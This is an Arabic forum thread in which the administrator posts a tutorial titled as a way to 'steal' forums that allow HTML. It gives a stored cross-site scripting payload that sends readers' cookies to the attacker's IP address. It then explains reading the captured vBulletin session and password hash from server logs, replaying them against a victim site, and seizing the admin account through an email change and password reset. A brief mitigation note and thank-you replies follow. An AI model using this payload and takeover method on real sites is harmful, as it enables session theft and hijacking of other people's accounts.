هجوله بلا حدود /مجنن المدرسين----مطنش الحكوومه
 
الرئيسيةس .و .جبحـثالأعضاءالمجموعاتالتسجيلدخول

شاطر | 
 

 كيفية سرقة المنتديات التي تدعم ال (html)

اذهب الى الأسفل 
كاتب الموضوعرسالة
Admin
المدير العام
المدير العام
avatar

المساهمات : 80
تاريخ التسجيل : 28/05/2008
العمر : 28

مُساهمةموضوع: كيفية سرقة المنتديات التي تدعم ال (html)   الأحد يونيو 01, 2008 7:39 am

طريقة اختراق المنتديات التي تدعم ال
html
الثغرة :
---------
تنقسم طريقة العمل الى عدة اقسام .. أولا بعض السكربتات الخبيثة التي تسرق الكوكيز بالاضافة الى جعل المنتدى يستقبل
بيانات من مكان خاطيء .. لكن يشترط ان يسمح المنتدى بأكواد الـ
HTML ..

قم بكتابة موضوع جديد او رد (في منتدى يدعم الـ
HTML
) .. ثم اكتب اي موضوع والصق بين السطور هذا الكود :
<script>document.write('<img
src="http://my_ip_address/'+document·cookie+'">';</script>

مع ملاحظة تغير الـ
IP Adress
الى رقم الـ
IP
الخاص بك .

وعندما يقوم شخص ما بقراءة محتوى الصفحة فان السكربت الذي قمنا بوضعه سيقوم بتنفيذ الاوامر في جهاز وقراءة جزء
من احد ملفات الكوكيز التي تحتوي على الباسورد الخاصة بالمنتدى .. ثم يقوم السكربت بتحويل هذه السطور الى رقم
الاي بي الذي قمنا بكتابته سابقا (مع ملاحظة انه يجب ان يكون على جهازي سيرفر مثل
IIS
او
Apache
او غيرها ) .

وبعد ان تتم العملية بنجاح قم بفتح ملف الـ
Log
الخاص بالسيرفر الذي يحتويه جهازك ..
مثال لو كان السيرفر اباتشي .. فتاح المجلد
Apche
واختر
logs
واختر
Acces Log .
ستجد جميع الاوامر التي طلبتها من السيرفر .. إلخ

ابحث عن الكود الخاص بالباسورد .. مثال :
GET/ bbuserid=86;%20bbpassword=dd61
69d68822a116cd97e1fb
ddf90622;%20sessionhash=a
4719cd620534914930b86839c4bb5f
8;%20bbthreadview[54
20]=1012444064;%20bblastvi
sit=1011983161

فكر قليلا الان .. اين الباسورد ؟؟
الباسورد موجودة لكن بطريقة مشفرة يصعب كسرها .. اذن مالحل ؟
قم بنسخ الكود الذي وجدته والصقه في المتصفح .. بهذا الشكل
http://www.victim.com/vb/index.php?bbuserid=[userid]&bbpassword=[password hash]
ستجد عبارة : " أهلا بعودتك يـا ( اسم الذي سرقت منه الكوكيز....) "
في هذه الحالة انت الان تستطيع التحكم بكل شي وكانك مدير المنتدى (الذي سرقت منه الكوكيز) ..
لكننا نحتاج الى كلمة المرور للدخول الى لوحة التحكم .. اذهب الى (التحكم) وقم بتعديل البريد الالكتروني الى بريدك الخاص
وثم قم بتسجيل الخروج .. ثم اذهب الى اداة
Forgot Password
.. وعندها تستطيع استقبال بريد يحتوي باسورد الادمن ..

اعتقد انك تعلم ما يجب ان تفعله بعد ذلك !! ادخل الى لوحة التحكم وافعل ما تشاء .. !

------------
الحل
-----------

للحماية من هذه الثغرة قم باغلاق الـ
HTML
في (المنتدى + الرسائل الخاصة + التواقيع + التقويم + ... )
(واي منفذ يمكن من خلاله وضع كود
HTML
باي صورة كانت )

كما يجب اغلا كود الـ
IMG
.. لانه ببساطة بامكانك استخدامه بدل كلمة
<script>
فاذا وضعت
<img>
او
<Demon>
او
اي كلمة اخرى فانه سيتم تنفيذ السكربت بشكل او باخر ... لذا كن حذرا واغلق هذه المنافذ .
تاريخ اكتشاف الثغرة : 31 - 1 - 2002
تم تجربتها على الاصدار 2.2.0 وهي تعمل بنجاح
الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو http://rap--man--snookr.your-talk.com
shotgan
افضل عضو
افضل عضو


المساهمات : 48
تاريخ التسجيل : 29/05/2008

مُساهمةموضوع: رد: كيفية سرقة المنتديات التي تدعم ال (html)   الأربعاء يونيو 04, 2008 4:30 am

ما شاء الله يجي
الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو
Admin
المدير العام
المدير العام
avatar

المساهمات : 80
تاريخ التسجيل : 28/05/2008
العمر : 28

مُساهمةموضوع: رد: كيفية سرقة المنتديات التي تدعم ال (html)   الأربعاء يونيو 04, 2008 2:59 pm

شكرا على مرورك يا شوتقان
الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو http://rap--man--snookr.your-talk.com
 
كيفية سرقة المنتديات التي تدعم ال (html)
الرجوع الى أعلى الصفحة 
صفحة 1 من اصل 1
 مواضيع مماثلة
-
» اليكم كود html لعمل غرفة شات
» حصريا اكبر موسوعة اكواد ورموز HTML خياليه تخص صفحات مجله بوابة ورئيسية منتداك
» كود وضع خلفية لصفحات Html
» الان للجميع كود وضع خلفية لصفحات هتمل html
» من شرحي الخاص ( الشامل في HTML ) في كتاب للتحميل - تعلم اللغة

صلاحيات هذا المنتدى:لاتستطيع الرد على المواضيع في هذا المنتدى
هجولة بلا حدود :: القسم العام :: منتدى العام-
انتقل الى: